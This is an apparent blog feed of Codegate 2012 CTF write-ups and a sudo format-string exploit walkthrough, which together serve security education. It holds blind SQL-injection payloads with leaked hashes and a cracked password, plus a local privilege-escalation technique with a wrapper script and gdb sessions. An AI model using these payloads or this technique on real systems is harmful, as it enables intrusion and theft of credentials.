      Some first requests are just for checking the responses of server to some random injected queries. We can easily notice that if the expressions in injected queries return False, HTTP response will have “Content-Length: 0”, otherwise the expressions return True. Another thing is that all the attacking queries had the same pattern of … [EXPRESSION] > [VALUE] … As the operators were all ‘>’, for each [EXPRESSION] we only need to catch the last [VALUE] of ‘False’ responses.

      We created a python script to parse this pcap file:

      import sys
      from scapy.all import *
      import urllib, string
      
      packets = rdpcap("network400")
      len_packets = len(packets)
      l1 = []
      l2 = []
      i = 0
      while i < len_packets:
          if 'Raw' in packets[i] and packets[i].payload.dst == '192.168.1.41':
              l1.append(urllib.unquote(str(packets[i]['Raw']).split("\r")[0]))
              while True:
                  i+=1
                  if 'Raw' in packets[i]:
                      if packets[i].payload.dst == '192.168.1.8':
                          content = str(packets[i]['Raw'])
                          if 'Content-Length: 0' in content:
                              l2.append(False)
                          else:
                              l2.append(True)
                          break
          i+=1
      for i in range(len(l1)):
          print l1[i]
          print l2[i]
      

      Here’s a part of the output:


      GET /sc/id_check.php?name=music’ AND CONNECTION_ID()=CONNECTION_ID() AND ‘YOxWw’='YOxWw HTTP/1.1
      True
      GET /sc/id_check.php?name=music’ AND ISNULL(1/0) AND ‘wSwEm’='wSwEm HTTP/1.1
      True
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
      True
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 54 AND ‘zqAWP’='zqAWP HTTP/1.1
      True
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 56 AND ‘zqAWP’='zqAWP HTTP/1.1
      False
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 55 AND ‘zqAWP’='zqAWP HTTP/1.1
      False
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
      False
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 48 AND ‘zqAWP’='zqAWP HTTP/1.1
      False
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 1 AND ‘zqAWP’='zqAWP HTTP/1.1
      False
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 51 AND ‘yFdDA’='yFdDA HTTP/1.1
      False
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 48 AND ‘yFdDA’='yFdDA HTTP/1.1
      True
      GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 49 AND ‘yFdDA’='yFdDA HTTP/1.1
      True

      We extended the script to print out only the leaked characters

      
      import sys
      from scapy.all import *
      import urllib
      packets = rdpcap("network400")
      len_packets = len(packets)
      
      cur_s = None
      last_false_value = None
      result = ""
      i=0
      while i < len_packets:
          if ('Raw' in packets[i]) and (packets[i].payload.dst == '192.168.1.41'):
              query = urllib.unquote(str(packets[i]['Raw']).split("\r")[0])
              if ">" in query:
                  s,v = query.split(">")
                  v=chr(int(v.strip().split(" ")[0]))
                  if cur_s != s and last_false_value != None:
                      result+= last_false_value
                  cur_s = s
              else:
                  v = None
              while True:
                  i+=1
                  if 'Raw' in packets[i]:
                      if packets[i].payload.dst == '192.168.1.8':
                          content = str(packets[i]['Raw'])
                          if 'Content-Length: 0' in content:
                              last_false_value = v
                          break
      
          i+=1
      print result
      

      The output looks better (but lack of information about queries):

      2
      information_schema
      cdgate
      17
      CHARACTER_SETS
      COLLATIONS
      COLLATION_CHARACTER_SET_APPLICABILITY
      COLUMNS
      COLUMN_PRIVILEGES
      KEY_COLUMN_USAGE
      PROFILING
      ROUTINES
      SCHEMATA
      SCHEMA_PRIVILEGES
      STATISTICS
      TABLES
      TABLE_CONSTRAINTS
      TABLE_PRIVILEGES
      TRIGGERS
      USER_PRIVILEGES
      VIEWS
      1
      member
      3
      cdgate
      6
      name
      id
      email
      sex
      level
      passwd
      11
      monitor@cdgate.xxx
      08b5411f848a2581a41672a759c87380
      2
      monitor
      *1763CA06A6BF4E96A671D674E855043A9C7886B2
      f
      apple@cdgate.xxx
      apple
      3
      apple
      *C5404E97FF933A91C48743E0C4063B2774F052DD
      m
      music@cdgate.xxx
      music
      6
      music
      *DBA29A581E9689455787B273C91D77F03D7FAD5B
      m
      computer@cdgate.xxx
      computer
      2
      computer
      *8E4ADF66627261AC0DE1733F55C7A0B72EC113FB
      f
      com@cdgate.xxx
      com
      3
      com
      *FDDA9468184E298A054803261A4753FF4657E889
      f
      lyco@cdgate.xxx
      lynco
      4
      *EEFD19E63FA33259154630DE24A2B17772FAC630
      *0ECBFBFE8116C7612A537E558FB7BE1293576B78
      f
      mouse@cdgate.xxx
      mouse
      4
      *87A5750BB01F1E52060CF8EC90FB1344B1D413AA
      *6FF638106693EF27772523B0D5C9BFAF4DD292F1
      m
      root@cdgate.xxx
      root
      6
      root
      *300102BEB9E4DABEB8BD60BB9BB6686A6272C787
      f
      desktop@cdgate.xxx
      desktop
      1
      desktop
      *DDD9B83818DB7B634C88AD49396F54BD0DE31677
      f
      www@cdgate.xxx
      4eae35f1b35977a00ebd8086c259d4c9
      8
      www
      *3E8563E916A490A13918AF7385B8FF865C221039
      f
      notebook@cdgate.xxx
      notebook
      8
      fb5d1b4a2312e239652b13a24ed9a74f
      *18DF7FA3EE218ACB28E69AF1D643091052A95887
      m
      

      By combining outputs of these 2 scripts we could see that database is cdgate and table name is member. These information were followed by a number of member records, the value for each record were in order of email, id, level, name, password, sex. There was only one user desktop@cdgate.xxx with level=1, the password was hashed hence we let hashcat do the rest:

      $ echo DDD9B83818DB7B634C88AD49396F54BD0DE31677 > hash
      $ ./hashcat-cli64.bin -m300 -a3 --bf-cs-buf=abcdefghijklmnopqrstuvwxyz0123456789 hash outdir
      ................
      Charset...: abcdefghijklmnopqrstuvwxyz0123456789
      Length....: 6
      Index.....: 0/1 (segment), 2176782336 (words), 0 (bytes)
      Recovered.: 0/1 hashes, 0/1 salts
      Speed/sec.: - plains, 13.99M words
      Progress..: 1360425204/2176782336 (62.50%)
      Running...: 00:00:01:37
      Estimated.: 00:00:00:58
      ddd9b83818db7b634c88ad49396f54bd0de31677:etagcd
      All hashes have been recovered
      

      Bingo! The password is etagcd, it’s time to build the flag:

      >>> hashlib.md5('cdgate|member|etagcd').hexdigest().upper();
      'AB6FCA7FFC88710CFBC37D5DF9A25F3F'
      
      ]]>
      http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-400/feed/ 0
      Codegate 2012 Quals – Network 200 http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-200/ http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-200/#comments Thu, 01 Mar 2012 04:15:46 +0000 pdah https://www.vnsecurity.net/?p=1390

      Challenge

      To whom it may concern to DoS attack.
      What is the different between attack and normal traffic?
      Attached PCAP file is from suspicious client PC which may be infected.
      If you find TOP 4 targeting address, let me know exactly information such as below.
      Answer:
      COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4

      http://repo.shell-storm.org/CTF/CodeGate-2012/Network200/A565CF2670A7D77603136B69BF93EA45

      Summary
      Given a pcap file, our task is to find top 4 targeting addresses of a DoS attack. This challenge requires network analysis skill with some experiences of DoS attack.

      Solution

      We wrote a small python script to generate the statistics of packets:

      from scapy.all import *
      import operator
      packets = rdpcap("network200")
      stats = {}
      for packet in packets:
          try:
              dst = packet.payload.dst
              if dst not in stats: stats[dst] = 0
              stats[dst] += 1
          except:
              pass
      for k,v in sorted(stats.iteritems(), key=operator.itemgetter(1))[::-1]:
          print k,v
      

      Here’s a part of output:

      111.221.70.11 52620
      1.2.3.4 12670
      109.123.118.42 2960
      174.35.40.44 637
      220.73.139.203 452
      123.214.170.56 375
      199.7.48.190 311
      220.73.139.201 280
      8.8.8.8 248
      74.125.71.94 208
      208.46.163.42 186
      175.158.10.55 146
      174.35.40.43 145
      74.125.71.120 120
      74.125.71.104 116
      69.171.234.16 103
      66.150.14.48 99
      61.110.213.19 94
      184.28.147.55 84
      174.35.40.45 82
      110.45.229.135 82
      199.59.149.232 79
      61.106.27.72 77
      184.169.76.33 68
      74.125.71.157 62
      211.174.53.236 56
      174.35.40.6 55
      208.94.0.38 54

      Then we checked one by one from the top of our list using WireShark:

      • 111.221.70.11 is obviously under SYN flood attack.
      • 109.123.118.42 is flooded by HTTP GET requests.
      • 199.7.48.190 is under RUDY attack (POST requests with very large Content-Length).
      • 66.150.14.48 has some abnormal HTTP Requests.

      Using ip2location.com, we got the country names in respective order:

      • Singapore
      • United Kingdom
      • United States
      • United States

      FLAG: none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48

      ]]>
      http://www.vnsecurity.net/2012/03/codegate-2012-quals-network-200/feed/ 0
      CodeGate 2012 Quals bin400 writeup http://www.vnsecurity.net/2012/02/codegate-2012-quals-bin400-writeup/ http://www.vnsecurity.net/2012/02/codegate-2012-quals-bin400-writeup/#comments Tue, 28 Feb 2012 09:04:25 +0000 admin https://www.vnsecurity.net/?p=1350

      Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin400

      CodeGate2012 bin400

      Challenge: The Rewolf in Kaspersky
      Link to challenge : http://deroko.phearless.org/codegate2012/bin/bin400.zip

      So Rewolf vm, is packed with something called KasperSky according toProtectionID (never heard of this packer ). Unpacking is trivial, like with any simple packer. Run to OEP, dump, fix imports:

      Here is OEP for ReWolf VM:

      Rewolf oep.png

      And here is OEP for original program (note you need to dump at ReWolf VM, but importrec will work only properly if you use this OEP) :

      Real oep.png

      Once we have file dumped, we might run it to get idea how it actually looks like:

      Appwindow.png

      Not much there :( 1st time I pressed some key while program was focused I got an exception:

      Exception.png
      Exception code.png

      At first I thought that my dump is broken, so I tried with original application, same thing happened. Hmmm so this is common problem, but challenge is definitely not broken, so we need to see what’s going on, and trace instruction per instruction in ReWolf VM.

      After a little bit of tracing I noticed that exception comes after virtualized jcc is executed, because next instruction size is wrong. (From exception you can see thatecx is quite big number which it should not be):

      0041D000   50               PUSH EAX            <----- start of jcc opcode
      0041D001   9C               PUSHFD
      0041D002   58               POP EAX
      0041D003   53               PUSH EBX
      0041D004   E8 00000000      CALL test.0041D009
      0041D009   5B               POP EBX
      0041D00A   8D5453 08        LEA EDX,DWORD PTR DS:[EBX+EDX*2+8]
      0041D00E   5B               POP EBX
      0041D00F   FFE2             JMP EDX

      If jcc is taked edx is set to 1, otherwise edx is 0.

      0041D0DE   33D2             XOR EDX,EDX                              ; test.0041D023
      0041D0E0   EB 04            JMP SHORT test.0041D0E6
      0041D0E2   33D2             XOR EDX,EDX
      0041D0E4   EB 01            JMP SHORT test.0041D0E7
      0041D0E6   42               INC EDX
      0041D0E7   50               PUSH EAX
      0041D0E8   9D               POPFD
      0041D0E9   58               POP EAX
      0041D4AA   5A               POP EDX                <---- pop EIP (jcc not taken)
      0041D4AB   58               POP EAX
      0041D4AC  ^E9 2CFFFFFF      JMP test.0041D3DD
      0041D4B1   0FB657 03        MOVZX EDX,BYTE PTR DS:[EDI+3]
      0041D4B5   FF7424 08        PUSH DWORD PTR SS:[ESP+8]
      0041D4B9   9D               POPFD
      0041D4BA   E8 41FBFFFF      CALL test.0041D000
      0041D4BF   85D2             TEST EDX,EDX
      0041D4C1  ^74 E7            JE SHORT test.0041D4AA
      0041D4C3   5A               POP EDX
      0041D4C4   0357 04          ADD EDX,DWORD PTR DS:[EDI+4] <--- increment EIP (jcc taken)
      0041D4C7   034F 04          ADD ECX,DWORD PTR DS:[EDI+4]
      0041D4CA   58               POP EAX
      0041D4CB  ^E9 5AFEFFFF      JMP test.0041D32A

      [edi+4] = 00000104

      0041D32A   8BF2             MOV ESI,EDX
      0041D32C   46               INC ESI
      0041D32D   8A02             MOV AL,BYTE PTR DS:[EDX]           <--- size of next instruction
      0041D32F   3242 01          XOR AL,BYTE PTR DS:[EDX+1]         <--- xor 1st 2 bytes to get proper sie
      0041D332   0FB6C0           MOVZX EAX,AL
      0041D335   50               PUSH EAX                           <--- size of instruction passed to memcpy
      0041D336   56               PUSH ESI
      0041D337   57               PUSH EDI
      0041D338   E8 D8050000      CALL test.0041D915                 <--- memcpy

      BOOM Exception

      0041DB10  25 93 97 B6 C4 C5 89 8A                          %“—¶ÄʼnŠ

      Instruction size is calculated as 25 ^ 93 = B6 which is wrong for instruction size in this case.

      At this point I decided to try and patch jcc vm handler so jcc will not be taken:

      Patch.png

      and then I typed something:

      Firstcharacter.png

      And then I just kept pressing keys:

      Okunlocked.png

      Press OK and you get the key:

      Finalkey.png

      So correct key for bin400 is : WonderFul_lollol_!

      Greetings

      I would like to say tnx to my ARTeam mates, vnsecurity guys, and of coursesuperkhung for listening to my random blabing on skype during CTF :)

      Author

      deroko of ARTeam


      ]]>
      http://www.vnsecurity.net/2012/02/codegate-2012-quals-bin400-writeup/feed/ 0
      CodeGate 2012 Quals bin500 writeup http://www.vnsecurity.net/2012/02/codegate2012-bin500-write-up/ http://www.vnsecurity.net/2012/02/codegate2012-bin500-write-up/#comments Tue, 28 Feb 2012 08:59:45 +0000 admin https://www.vnsecurity.net/?p=1343

      Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin500

      CodeGate2012 bin500

      Challenge: Seeing that it is not all.
      Link to challenge: http://deroko.phearless.org/codegate2012/bin/bin500.zip

      This binary is double ReWolf vm, and python script for modified Olly by Immunity.

      Script which comes with binary uses marshal.loads to load already compiled pyc code which was produced with marshal.dump

      To get .pyc back we need to make some modification to our script:

      Modifiedscript.png

      Now C:\test.pyc will have dump of python bytecode.

      If you look carefully through script, some strings might look like a clue:

      readMemory
      getRegs
      EIP
      Nice work, Key1 :
      But, Find Next Key!
      Nice work, Key2 :
      Input Key : Key1 + Key2
      Nothing Found ...

      So this script will probably try to read from current EIP some bytes (readMemory + EIP are good hint), and make key out of it. After modifying test.pyc to have proper layout:

      00000000  03 f3 0d 0a dc dd e2 4c  63 00 00 00 00 00 00 00  |.......Lc.......|
      00000010  00 02 00 00 00 40 00 00  00 73 22 00 00 00 64 00  |.....@...s"...d.|
      00000020  00 64 01 00 6c 00 00 5a  00 00 64 02 00 84 00 00  |.d..l..Z..d.....|

      Which is actually 4 bytes for python signature4 bytes for timestamp +marshal.dump() data we get .pyc file which we can decompile.

      For sake of this solution, we will use some simple program to dump python byte-code, and one I found here:http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html

      After disassembling binary with this python script we get (I cut not important parts):

                   15 LOAD_ATTR                2 (readMemory)
                   18 LOAD_CONST               1 (4237456)
                   21 LOAD_CONST               2 (80)
                   24 CALL_FUNCTION            2

      So from address 40A890 it will read 80 bytes and keep it in internal buffer.

      Now comes interesting part when it actually gets keys:

       19          54 LOAD_FAST                4 (regs)
                   57 LOAD_CONST               3 ('EIP')
                   60 BINARY_SUBSCR
                   61 LOAD_CONST               4 (4273157)
                   64 COMPARE_OP               2 (==)
                   67 POP_JUMP_IF_FALSE      161

      and

       23     >>  161 LOAD_FAST                4 (regs)
                  164 LOAD_CONST               3 ('EIP')
                  167 BINARY_SUBSCR
                  168 LOAD_CONST              15 (4278021)
                  171 COMPARE_OP               2 (==)
                  174 POP_JUMP_IF_FALSE      276

      If you look at out.txt (in attachment) you may also see what’s read from where as this python script is not complicated, and python byte code is quite easy to understand.

      So just set EIP to be 413405 and run script, and you will get 1st key. Then set EIP to be 414705 and run scrip again. If you did, everything correct you should see in Log of Immunity Debugger this:

      Key.png

      So final key is Never_up_N3v3r_1n

      Greetings

      I would like to say tnx to my ARTeam mates, vnsecurity guys, and rd , and of course to superkhung for listening to my random blabing on skype during CTF :)

      Author

      deroko of ARTeam

      ]]> http://www.vnsecurity.net/2012/02/codegate2012-bin500-write-up/feed/ 0 Exploiting Sudo format string vunerability http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/ http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/#comments Thu, 16 Feb 2012 12:39:11 +0000 longld https://www.vnsecurity.net/?p=1304

      In this post we will show how to exploit format string vulnerability in sudo 1.8 that reliably bypasses FORTIFY_SOURCE, ASLR, NX and Full RELRO protections. Our test environment is Fedora 16 which is shipped with a vulnerable sudo version (sudo-1.8.2p1).

      The vulnerability

      Vulnerability detail can be found in CVE-2012-0809. In summary, executing sudo in debug mode with crafted argv[0] will trigger the format string bug. E.g:

      $ ln -s /usr/bin/sudo ./%n
      $ ./%n -D9

      The exploit

      Though above format string vulnerability is straight, it is not easy to exploit on modern Linux distributions. sudo binary in Fedora 16 comes with:

      In order to exploit format string bug we have to bypass all above protections, but thanks to this local bug, we can disable ASLR easily with resources limit trick (another notes, prelink is enabled on Fedora 16 so it also disable ASLR from local exploits). As a consequence, NX can be defeated with return-to-libc/ROP with known addresses. The most difficult part is bypassing FORTIFY_SOURCE.

      Bypassing FORTIFY_SOURCE

      We just follow “A Eulogy for Format Strings” article from Phrack #67 by Captain Planet wit very detail steps to bypass FORTIFY_SOURCE. In summary, there is an integer overflow bug in FORTIFY_SOURCE patch, by exploiting this we can turn off _IO_FLAGS2_FORTIFY bit in file stream and use “%n” operation from a writable address. Following steps will be done:

      1. Set nargs to a big value so (nargs * 4) will be truncated to a small integer value, the perfect value is nargs = 0×40000000, so nargs * 4 = 0. The format string to achieve this looks like: “%*1073741824$”
      2. Turn off _IO_FLAGS2_FORTIFY on stderr file stream
      3. Reset nargs = 0 to bypass check loop

      Let examine #2 and #3 in detail. We create a wrapper (sudo-exploit.py) then fire a GDB session:

      #!/usr/bin/env python
      import os
      import sys
      
      def exploit(vuln):
          fmtstring = "%*123$ %*456$ %1073741824$"
          args = [fmtstring, "-D9"]
          env = os.environ
          os.execve(vuln, args, env)
      
      if __name__ == "__main__":
          if len(sys.argv) < 2:
              usage()
          else:
              exploit(sys.argv[1])
      
      # ulimit -s unlimited
      # gdb -q /usr/bin/sudo
      Reading symbols from /usr/bin/sudo...Reading symbols from /usr/lib/debug/usr/bin/sudo.debug...done.
      done.
      gdb$ set exec-wrapper ./sudo-exploit.py
      gdb$ run
      process 2149 is executing new program: /usr/bin/sudo
      *** invalid %N$ use detected ***
      
      Program received signal SIGABRT, Aborted.
      gdb$ bt
      #0  0x40038416 in ?? ()
      #1  0x400bc98f in __GI_raise (sig=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
      #2  0x400be2d5 in __GI_abort () at abort.c:91
      #3  0x400fbe3a in __libc_message (do_abort=0x1, fmt=0x401f3dea "%s") at ../sysdeps/unix/sysv/linux/libc_fatal.c:198
      #4  0x400fbf64 in __GI___libc_fatal (message=0x401f5a6c "*** invalid %N$ use detected ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:209
      #5  0x400d1df5 in _IO_vfprintf_internal (s=0xbff42498, format=<optimized out>, ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1771
      #6  0x400d566b in buffered_vfprintf (s=0x40234920, format=<optimized out>, args=<optimized out>) at vfprintf.c:2207
      #7  0x400d0cad in _IO_vfprintf_internal (s=0x40234920, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf.c:1256
      #8  0x401958a1 in ___vfprintf_chk (fp=0x40234920, flag=0x1, format=0x4023b958 "%*123$ %*456$ %1073741824$: settings: %s=%s\n", ap=0xbff42b78  <incomplete sequence \340>) at vfprintf_chk.c:35
      #9  0x400094a0 in vfprintf (__ap=0xbff42b78  <incomplete sequence \340>, __fmt=<optimized out>, __stream=<optimized out>) at /usr/include/bits/stdio2.h:128
      #10 sudo_debug (level=0x9, fmt=0x4000dff3 "settings: %s=%s") at ./sudo.c:1202
      #11 0x400082cd in parse_args (argc=0x1, argv=0x4023b730, nargc=0xbff42d20, nargv=0xbff42d24, settingsp=0xbff42d28, env_addp=0xbff42d2c) at ./parse_args.c:413
      #12 0x40002890 in main (argc=0x2, argv=0xbff42df4, envp=0xbff42e00) at ./sudo.c:203
      
      gdb$ list vfprintf.c:1688
      1683	    /* Fill in the types of all the arguments.  */
      1684	    for (cnt = 0; cnt < nspecs; ++cnt)
      1685	      {
      1686		/* If the width is determined by an argument this is an int.  */
      1687		if (specs[cnt].width_arg != -1)
      1688		  args_type[specs[cnt].width_arg] = PA_INT;
      1689
      1690		/* If the precision is determined by an argument this is an int.  */
      1691		if (specs[cnt].prec_arg != -1)
      1692		  args_type[specs[cnt].prec_arg] = PA_INT;
      gdb$ break vfprintf.c:1688
      Breakpoint 1 at 0x400d1c5b: file vfprintf.c, line 1688.
      
      gdb$ run
      process 2157 is executing new program: /usr/bin/sudo
         0x400d1c53 <_IO_vfprintf_internal+4531>:	mov    eax,DWORD PTR [edi+0x20]
         0x400d1c56 <_IO_vfprintf_internal+4534>:	cmp    eax,0xffffffff
         0x400d1c59 <_IO_vfprintf_internal+4537>:	je     0x400d1c68 <_IO_vfprintf_internal+4552>
      => 0x400d1c5b <_IO_vfprintf_internal+4539>:	mov    edx,DWORD PTR [ebp-0x484]
         0x400d1c61 <_IO_vfprintf_internal+4545>:	mov    DWORD PTR [edx+eax*4],0x0
         0x400d1c68 <_IO_vfprintf_internal+4552>:	mov    eax,DWORD PTR [edi+0x1c]
         0x400d1c6b <_IO_vfprintf_internal+4555>:	cmp    eax,0xffffffff
         0x400d1c6e <_IO_vfprintf_internal+4558>:	je     0x400d1c7d <_IO_vfprintf_internal+4573>
      
      Breakpoint 1, _IO_vfprintf_internal (s=0xbfe48748, format=<optimized out>, ap=0xbfe48e28  <incomplete sequence \340>) at vfprintf.c:1688
      1688		  args_type[specs[cnt].width_arg] = PA_INT;
      
      gdb$ p &s->_flags2
      $1 = (_IO_FILE **) 0xbf845310
      gdb$ p/d (char*)&s->_flags2 - *(int)($ebp-0x484)
      $2 = 11396
      
      gdb$ p &nargs
      $3 = (size_t *) 0xbf844e74
      gdb$ p/d (char*)&nargs - *(int)($ebp-0x484)
      $4 = 1924
      

      s->_flags2 and nargs is on stack with fixed relative offsets to current stack pointer, so we can adjust offsets according to relative stack addresses to fulfill #2 & #3. Let do this again and calculate correct values when we have final format string for the exploit.

      Bypassing Full RELRO

      We can now use “%n” primitive to write anywhere with any value, but where to write to? sudo binary is compiled with Full RELRO, this means we cannot write to GOT entry or dynamic->.fini to redirect the execution as they are read-only. The idea here is simple: we try to overwrite function pointer in libc or ld-linux and hope it will be called later in program to trigger redirection. This works smoothly with sudo case.

      # ln -s /usr/bin/sudo ./%x
      # ulimit -s unlimited
      # gdb -q ./%x
      gdb$ list sudo.c:204
      199	    memset(&user_details, 0, sizeof(user_details));
      200	    user_info = get_user_info(&user_details);
      201
      202	    /* Parse command line arguments. */
      203	    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
      204	    sudo_debug(9, "sudo_mode %d", sudo_mode);
      205
      206	    /* Print sudo version early, in case of plugin init failure. */
      207	    if (ISSET(sudo_mode, MODE_VERSION)) {
      208		printf("Sudo version %s\n", PACKAGE_VERSION);
      
      gdb$ break sudo.c:207
      gdb$ run -D9
      4000e036: settings: 9=en_US.UTF-8
      4000e0bc: settings: %x=en_US.UTF-8
      4000e0c5: settings: true=en_US.UTF-8
      4000e0fc: settings: 10.0.2.15/255.255.255.0 fe80::a00:27ff:fe9e:e68c/ffff:ffff:ffff:ffff::=en_US.UTF-8
      a0001: sudo_mode -1078177084
      Breakpoint 1, main (argc=0x2, argv=0xbfbc5394, envp=0xbfbc53a0) at ./sudo.c:207
      207	    if (ISSET(sudo_mode, MODE_VERSION)) {
      
      gdb$ vmmap libc
      Start	End	Perm	Name
      0x400a8000 0x4024d000 r-xp /lib/libc-2.14.90.so
      0x4024d000 0x4024f000 r--p /lib/libc-2.14.90.so
      0x4024f000 0x40250000 rw-p /lib/libc-2.14.90.so
      gdb$ x/8wx 0x4024f000
      0x4024f000:	0x401da990	0x40122490	0x40121e10	0x401227a0
      0x4024f010:	0x4013fc60	0x40122fb0	0x40027f20	0x401223e0
      gdb$ x/8i 0x40121e10
      0x40121e10 <__GI___libc_malloc>:	sub    esp,0x3c
      0x40121e13 <__GI___libc_malloc+3>:	mov    DWORD PTR [esp+0x2c],ebx
      0x40121e17 <__GI___libc_malloc+7>:	call   0x401db813 <__i686.get_pc_thunk.bx>
      0x40121e1c <__GI___libc_malloc+12>:	add    ebx,0x12d1d8
      0x40121e22 <__GI___libc_malloc+18>:	mov    DWORD PTR [esp+0x30],esi
      0x40121e26 <__GI___libc_malloc+22>:	mov    esi,DWORD PTR [esp+0x40]
      0x40121e2a <__GI___libc_malloc+26>:	mov    DWORD PTR [esp+0x34],edi
      0x40121e2e <__GI___libc_malloc+30>:	mov    DWORD PTR [esp+0x38],ebp
      
      gdb$ set *0x4024f008=0x41414141
      gdb$ continue
      Program received signal SIGSEGV, Segmentation fault.
      0x400bee20 <realloc@plt+0>:	jmp    DWORD PTR [ebx+0x10]
      0x400bee26 <realloc@plt+6>:	push   0x8
      0x400bee2b <realloc@plt+11>:	jmp    0x400bee00
      => 0x400bee30 <malloc@plt+0>:	jmp    DWORD PTR [ebx+0x14]
      0x400bee36 <malloc@plt+6>:	push   0x10
      0x400bee3b <malloc@plt+11>:	jmp    0x400bee00
      0x400bee40 <memalign@plt+0>:	jmp    DWORD PTR [ebx+0x18]
      0x400bee46 <memalign@plt+6>:	push   0x18
      0x400bee30 in malloc@plt () from /lib/libc.so.6
      gdb$ x/x $ebx+0x14
      0x4024f008:	0x41414141
      

      Bypassing NX

      The last part of our exploit is bypassing NX and this can be done via libc ROP gadgets as its address now is fixed. We spray the environment with target payload and use a stack pivot gadget (add esp, 0xNNN) to jump to it. Out payload will look like:

      [ ROP NOPs | setuid, execve, 0, &/bin/sh, nullptr, nullptr ]

      Or we can use another simple version to avoid NULL byte:

      [ ROP NOPs | execve, exit, &./custom_shell, nullptr, nullptr ]

      Where “./custom_shell” is an available string in libc (e.g: “./0123456789:;<=>?”)

      Exploit code

      To not spoil the fun of people who may want to try it, I will post it later :)

      Further notes

      FORTIFY_SOURCE on x86_x64

      The technique we use here to bypass FORTIFY_SOURCE failed work on x86_64 as we can not find a nargs value (32-bit) that satisfies: (nargs * 4) is truncated to a small 64-bit value. I hope someone will find new ways to bypass it on x86_64.

      Reliability of exploit

      Though we disable ASLR, stack address is not affected and sometimes there is a gap between current stack pointer and our payload in environment and we may fail to perform stack pivoting. In order to achieve reliability, we have to spray the environment carefully. Update: 65K environment is enough for 100% reliability on Fedora (thanks to brainsmoke)

      Update: exploit on grsecurity/PaX-enabled kernel

      Our exploit on Fedora16 with vanilla kernel relies on a single address: libc base address. With PaX’s ASLR implementation we have to bruteforce for 20-bits and this is definitely hard with proper ASLR. Though “ulimit -s unlimited” has no real effect on grsecurity/PaX-enabled kernel, it can help to reduce 4-bits entropy of library addresses. 16-bits bruteforcing still requires average 32K+ runs and is hopeless with grsecurity’s bruteforce deterring (15 minutes locked out of system for a failed try).

      We had to re-work to make our exploit has a chance to win ASLR. Obviously, we cannot pick any address of library or binary to overwrite, the only way now is to overwrite available addresses on stack. *Fortunately*, we can overwrite saved EIP of sudo_debug() directly as there is pointers to it on stack. Following GDB session shows that:

      gdb$ backtrace
      #0  sudo_debug (level=0x9, fmt=0xb772c013 "settings: %s=%s") at ./sudo.c:1192
      #1  0xb77262ed in parse_args (argc=0x1, argv=0xb7734dc8, nargc=0xbfffe720, nargv=0xbfffe724, settingsp=0xbfffe728, env_addp=0xbfffe72c) at ./parse_args.c:413
      #2  0xb77208b0 in main (argc=0x2, argv=0xbfffe7f4, envp=0xbfffe800) at ./sudo.c:203
      gdb$ pref 0xb77262ed
      Found 5 results:
      0xbfffe030 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
      0xbfffe060 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
      0xbfffe0c0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
      0xbfffe0f0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
      0xbfffe2a0 --> 0xbfffe56c --> 0xb77262ed (0xb77262ed <parse_args+1837>:	mov    eax,DWORD PTR [esp+0x2c])
      

      By chosing to return to near by function inside sudo binary (e.g my_execve()), we can effectively reduce the entropy down to 4-bits with a short write (%hn):

      gdb$ run
      gdb$ p my_execve
      $1 = {int (const char *, char * const *, char * const *)} 0xb7721fe0 <my_execve>
      
      gdb$ run
      gdb$ p my_execve
